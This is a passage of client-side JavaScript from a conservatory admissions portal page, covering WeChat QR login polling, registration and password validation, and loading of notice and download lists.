                    var confirm=false;
                    for(var i=0;i<app.areas.length;i++) {
                        var pattern =app.phones[app.areas[i]];
                        if(pattern.test(value)){
                            confirm=true;
                            break;
                        }
                    }
                    if (confirm) {
                        callback();
                    } else {
                        callback(new Error("手机号码格式不正确"));
                    }
                }
            },
            const: validatePass = function (rule, value, callback) {
                if (value === "") {
                    callback(new Error("密码不能为空"));
                } else {
                    var patrn =/(?=.*[a-zA-Z])(?=.*[0-9])[a-zA-Z0-9]{6,16}/;
                    if (!patrn.test(value)) {
                        callback(new Error("密码为6-16位英文或数字组合"));
                    } else {
                        if (app.sysUser.passwordCheck !== '') {
                            app.$refs["form"].validateField('passwordCheck');
                        }
                        callback();
                    }
                }
            },
            const: validatePassCheck = function (rule, value, callback) {
                if (value === '' && app.sysUser.password !== '') {
                    callback(new Error('请再次输入密码'));
                } else if (value !== app.sysUser.password) {
                    callback(new Error('两次输入密码不一致!'));
                } else {
                    callback();
                }
            },
            // 验证规则
            validate: {
                phoneNumber: [
                    {required: false, validator: validateMobile, trigger: 'blur'}
                ],
                password: [
                    {required: false, validator: validatePass, trigger: 'blur'}
                ],
                passwordCheck: [
                    {required: false, validator: validatePassCheck, trigger: 'blur'}
                ]
            }
        },
        beforeDestroy() {
            if(app.timer){
                clearTimeout(app.timer)
            }
        },
        methods:{
            changeLoginType: function(){
                app.isScanCodeLogin = !app.isScanCodeLogin;
                if(app.timer){
                    clearTimeout(app.timer)
                }
                if (app.isScanCodeLogin){
                    app.getQrUrl();
                }
            },
            //获取微信登录二维码
            getQrUrl: function () {
                app.sceneStrKey = new Date().getTime() + "_type0";
                app.qrUrl = "/sys/thirdLogin/render/wechat_mp?sceneStrKey=" + app.sceneStrKey;
                app.pollLoginStatus();
            },
            //轮询查询扫描信息
            pollLoginStatus() {
                let sceneStrKey = app.sceneStrKey;
                app.timer = setInterval(async () => {
                    fetch("/sys/thirdLogin/check-wechat-login-status?sceneStrKey=" + sceneStrKey, {method: "GET",redirect: "follow"})
                        .then((response) => response.json())
                        .then((res) => {
                            if (res.data){
                                if (res.data.loginStatus === "success"){
                                    clearTimeout(app.timer)
                                    // 创建一个新的form元素
                                    const form = document.querySelector('.test');
                                    let usernameInput = form.querySelector("input[name='username']");
                                    let passwordInput = form.querySelector("input[name='password']");
                                    let openIdInput = form.querySelector("input[name='openId']");
                                    let username = res.data.userName;
                                    let password = sceneStrKey;
                                    openIdInput.value = res.data.openId;
                                    usernameInput.value = username;
                                    passwordInput.value = password;
                                    document.cookie = "userType="+userType+"; expires=0; path=/";
                                    form.submit();
                                }else if (res.data.loginStatus === "error"){
                                    clearTimeout(app.timer)
                                    app.isShowModal = true;
                                }
                            }
                        });
                }, 3000);
            },
            //关闭弹框
            closeModal:function(){
                app.isShowModal = false;
                app.getQrUrl();
            },
            //去注册
            toRegister:function(){
                app.isShowModal = false;
                app.isLogin = false;
                app.isScanCodeLogin = false;
            },
            //信息公示
            getNoticeList:function(){
                fetch("/oa/news/newsInfo/list?pageNo=" + app.noticePage.no + "&pageSize=" + app.noticePage.size +"&newsTypeId=10", {method: "GET",redirect: "follow"})
                    .then((response) => response.json())
                    .then((res) => {
                        if (res.data){
                            app.noticeList = res.data.list;
                            app.noticePage.total = res.data.total;
                        }
                    });
            },
            noticeChangePage:function (pageNo) {
                if(pageNo != null){
                    app.noticePage.no = pageNo;
                    app.getNoticeList();
                }
            },
            //资料下载
            getDataList:function(){

                fetch("/oa/news/newsInfo/list?pageNo=" + app.dataPage.no + "&pageSize=" + app.dataPage.size + "&newsTypeId=30", {method: "GET",redirect: "follow"})
                    .then((response) => response.json())
                    .then((res) => {
                        if (res.data){
                            app.dataList = res.data.list;
                            app.dataPage.total = res.data.total;
                        }
                    });
            },
            dataChangePage:function (pageNo) {
                if(pageNo != null) {
                    app.dataPage.no = pageNo;
                    app.getDataList();
                }
            },
            //专业考试
            getExaminationList:function(){
                fetch("/oa/news/newsInfo/list?pageNo=" + app.examinationPage.no + "&pageSize=" + app.examinationPage.size +"&newsTypeId=20", {method: "GET",redirect: "follow"})
                    .then((response) => response.json())
                    .then((res) => {
                        if (res.data){
                            app.examinationList = res.data.list;
                            app.examinationPage.total = res.data.total;
                        }
                    });
            },
            examinationChangePage:function (pageNo) {
                if(pageNo != null) {
                    app.examinationPage.no = pageNo;
                    app.getExaminationList();
                }
            },
            //切换loginTab
            loginTabChange:function(res){
                this.isLogin = res;
            },
            //滚动条变换
            scrolling:function(){
                var scrollTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop;
                var node = document.getElementsByClassName('header')[0];
                node.style.display = scrollTop>=700?"none":"block";
            },
            //回到顶部
            goPageTop:function(){
                var timer= setInterval(function () {
                    var scrollTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop;
                    if (scrollTop > 0) {
                        if(window.pageYOffset) window.pageYOffset -= 100;
                        if(document.documentElement.scrollTop) document.documentElement.scrollTop -=100;
                        if(document.body.scrollTop) document.body.scrollTop -=100;
                    } else {
                        clearInterval(timer);
                    }
                }, 10);
            },
            //登录
            entrySystem:function(){
                if($("#login-reading").is(":checked")){
                    document.cookie = "userType="+userType+"; expires=0; path=/";
                    $("form")[0].submit();
                }else{
                    app.$Message.warning({
                        content: '请熟读本科招生简章,并勾选确认按钮进行考生报名!',
                        duration: 20,
                        closable: true
                    });
                }
            },
            //注册
            register:function() {
                this.$refs["form"].validate(function (valid) {
                    if (valid) {
                        app.sort=true;
                        app.sysUser.registrationSource = "1";
                        fetch("/sys/user/register", {
                            method: "POST",
                            headers: { "Content-Type": "application/json" },
                            redirect: "follow",
                            body: JSON.stringify(app.sysUser)
                        }).then((response) => response.json()).then((d) => {
                            if(d.code=="success"){
                                app.isLogin = true;
                            }else{
                                app.$refs["form"].resetFields();
                                app.sort=false;
                            }
                            alert(d.message);
                        });
                    }
                });
            },
            //页面跳转
            viewNews:function(id){
                window.open("/oa/news/newsInfo/newsShow?id="+id);
            },
            //查看简章
            viewBrochure:function () {
                let url = "upload/period/中央音乐学院2025年本科生简章3_1735974370045.pdf";
                if (!url) {
                    alert("敬请期待，请关注招生公告!");
                    return;
                }
                window.open("/sys/common/static/" + url, '_blank')
            },
            changeUserType:function () {
                this.userTypeNum++;
                if (this.userTypeNum >= 10) {
                    this.userType = "1";
                    alert("修改成功")
                }
            }
        },
        mounted:function(){
            //监听滚动条
            // window.addEventListener("scroll", this.scrolling, true);
        }
    });
    //非大陆考生申请弹框
    function studentForeignRegisterAdd() {
        app.studentForeignRegisterModal.url = "/ccom/basic/studentForeignRegisterModal";
        app.studentForeignRegisterModal.show = true;
    };
    // 非大陆考生申请提交
    function edit_ok() {
        document.getElementById("studentForeignRegisterFrame").contentWindow.submit();
    }
    //关闭弹框
    function closeFormModal() {
        app.studentForeignRegisterModal.show = false;
    }
    // created
    $(document).ready(function() {
        $(function () {
            app.getNoticeList();
            app.getDataList();
            app.getExaminationList();
        });
        var errMsg = "";
        if(errMsg!="") alert(errMsg);
    });
    // 用户名过滤
    app.$watch("userName",function(res){
        var zz = /^[A-Za-z0-9()]+$/;
        if(!zz.test(res)){
            var newUserName ="";
            for(let item of res){
                if(zz.test(item)){
                    newUserName+=item;
				}
			}
            app.userName = newUserName;
		}
	});
    // 点击5次跳转管理端
    let iconNum = 0;
    function goAdminLogin() {
        iconNum++;
        if (iconNum >= 5) {
            top.location = "/backend/login";
        }
    }
    // 如果在框架或在对话框中，则弹出提示并跳转到首页
    if(self.frameElement && self.frameElement.tagName == "IFRAME" || $('#left').length > 0 || $('.jbox').length > 0){
        alert('未登录或登录超时。请重新登录，谢谢！');
        top.location = "";
    }
</script>

</body>
</html>

